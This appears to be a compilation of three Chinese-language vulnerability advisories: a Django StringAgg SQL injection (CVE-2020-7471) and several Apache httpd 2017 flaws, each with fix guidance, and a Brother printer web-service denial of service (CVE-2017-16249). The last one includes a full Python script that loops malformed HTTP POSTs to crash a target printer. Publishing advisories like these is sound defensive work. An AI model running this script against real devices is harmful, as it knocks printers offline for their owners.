0x01漏洞描述 Django 是 Django 基金会的一套基于 Python 语言的开源 Web 应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。  近日，Django 官方发布安全通告公布了一个通过 StringAgg（分隔符）实现利用的潜在 SQL 注入漏洞。 攻击者可通过构造分隔符传递给聚合函数 contrib.postgres.aggregates.S tringAgg，从而绕过转义并注入恶意 SQL 语句。  相关用户可通过版本检测的方法判断当前应用是否存在风险。 在命令行输入 python， 然后在 Python 提示符下输入下列命令，可查看当前 Django 版本信息。 若 Django 版本在 受影响范围内，且使用的数据库为 PostgreSQL，则存在此漏洞的安全风险。  import django  django.get_version()  或者，此漏洞是由于聚合函数 StringAgg 导致，若 Django 版本在受影响范围内，且使用了该聚合函数，则可能存在安全风险。开发人员可自行排查是否使用了下列函数。Strin gAgg 函数，是 PostgreSQL 数据库中将表达式变成字符串的聚合函数，可实现多行拼接，应用广泛。  django.contrib.postgres.aggregates.StringAgg。 0x02漏洞编号 CVE-2020-7471 0x03漏洞等级 严重 0x04影响范围 Django 1.11.x < 1.11.28  Django 2.2.x < 2.2.10  Django 3.0.x < 3.0.3  Django 主开发分支  0x05漏洞验证 暂无poc/exp 0x06修复建议 Django 官方已经发布新版本修复了上述漏洞，请受影响的用户尽快升级进行防护。  Django 1.11.28 下载地址：https://www.djangoproject.com/m/releases/1.11/Django-1.11.28.tar.gz  Django 2.2.10 下载地址：https://www.djangoproject.com/m/releases/2.2/Django -2.2.10.tar.gz  Django 3.0.3 下载地址：https://www.djangoproject.com/m/releases/3.0/Django- 3.0.3.tar.gz  若使用 pip 安装 Django，可通过 --upgrade 或 -U 来实现此操作：  $ pip install -U Django  版本更新操作可参考下列链接：  https://docs.djangoproject.com/zh-hans/2.2/howto/upgrade-version 

6月19日，Apache httpd被曝出多个安全漏洞，漏洞编号为：CVE-2017-3167, CVE-2017-3169, CVE-2017-7659, CVE-2017-7668, CVE-2017-7679，安全风险较高。具体详情如下: 漏洞编号CVE-2017-3167CVE-2017-3169CVE-2017-7659CVE-2017-7668CVE-2017-7679漏洞名称Apache httpd 多个安全漏洞官方评级高危漏洞描述CVE-2017-3167   第三方模块在身份验证阶段使用ap_get_basic_auth_pw()，会导致绕过身份验证要求。CVE-2017-3169   第三方模块在HTTP请求HTTPS端口时，若调用ap_hook_process_connection()，则mod_ssl会间接引用空指针。CVE-2017-7659   处理构造的HTTP/2请求时，会造成mod_http2间接引用空指针，或造成服务器进程崩溃。CVE-2017-7668   在令牌列表解析中存在bug，可使ap_find_token()搜索输入字符串之外的内容，通过构造的请求头序列，攻击者可造成段故障，或强制ap_find_token()返回错误值。CVE-2017-7679   恶意攻击者发送恶意Content-Type响应头时，mod_mime会造成缓冲区越界读。漏洞利用条件和方式远程利用漏洞影响范围CVE-2017-3167, CVE-2017-3169, CVE-2017-7679:Apache HTTP Web Server 2.2.0 到2.2.32版本CVE-2017-7668:Apache HTTP Web Server 2.2.32CVE-2017-3167, CVE-2017-3169, CVE-2017-7679:Apache HTTP Web Server 2.4.0到2.4.25版本CVE-2017-7659, CVE-2017-7668:Apache HTTP Web Server 2.4.25漏洞修复建议Apache httpd 2.4版本用户升级到2.4.26Apache httpd httpd 2.2版本用户升级到2.2.33-dev参考https://httpd.apache.org/security_report.html

近期，Trustwave实验室发现兄弟牌（Brother）网络打印机的Debut嵌入式web服务前端存在漏洞，攻击者只需向目标打印机发送一个简单的HTTP POST畸形请求，就可对目标打印机形成远程DoS攻击。截至目前，全球有14000多台暴露在互联网的Brother打印机可能会受到该漏洞影响。攻击过程中，打印机会向攻击者返回一个500错误代码响应，之后，Web服务端无法访问，打印机将无法正常运行，形成崩溃。不幸的是，尽管Trustwave方面已以多种方式与Brother公司就该漏洞进行通报，但到目前，Brother公司仍然没有释出任何更新补丁。漏洞信息漏洞类型：远程未授权DoS漏洞漏洞公布时间: 2017.11.16影响厂商: 兄弟公司-Brother (http://www.brother-usa.com)影响产品:  Debut嵌入式http服务（Debut embedded httpd）影响产品版本：1.20及其以下版本影响产品描述：兄弟牌网络打印机的Debut嵌入式http服务Web接口CVE编号 : CVE-2017-16249PoC以下PoC通过连接目标打印机，发送畸形HTTP请求，等待打印机Web服务端返回500错误响应，之后，PoC又会继续向目标打印机发送畸形HTTP请求，继续让其发生500错误，如此反复，最终形成远程DoS攻击。#!/usr/bin/python import socket import sys target = raw_input("[*] Enter target IP or hostname: ") port = raw_input("[*] Enter target port: ") payload = "POST / HTTP/1.1\r\n" payload += "Host: asdasdasd\r\n" payload += "User-Agent: asdasdasd\r\n" payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" payload += "Accept-Language: en-US,en;q=0.5\r\n" payload += "Referer: asdasdasdasd\r\n" payload += "Connection: close\r\n" payload += "Upgrade-Insecure-Requests: 1\r\n" payload += "Content-Type: application/x-www-form-urlencoded\r\n" payload += "Content-Length: 42\r\n" payload += "asdasdasdasdasdasdasd\r\n\r\n" print "[*] Starting DOS. Payload will be sent every time the server responds." while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((target,int(port))) print "[*] Sending DOS payload" s.send(payload) # Wait for server to respond with 500 error s.recv(4096) s.close() except: print("[!] Can't connect to target") sys.exit() 缓解措施为了缓解该漏洞影响，管理员需要自行对相关设备进行加固防护。我们建议采取严格的访问控制列表和网络分段措施，配合防火墙之类设备，来限制Web端访问和设备暴露在网。有些人根本不把DDoS攻击当回事，他们认为这就是简单的麻烦事。但DDoS攻击可以对组织机构的资源和生产力造成影响，是对组织机构直接网络攻击的一种方式，例如，攻击者可以发起DoS攻击，然后假冒解决问题的技术人员，直接对IT设备获取物理访问权限，深入接触到那些通过网络远程无法访问到的IT资源。漏洞虽小，但其影响不容忽视。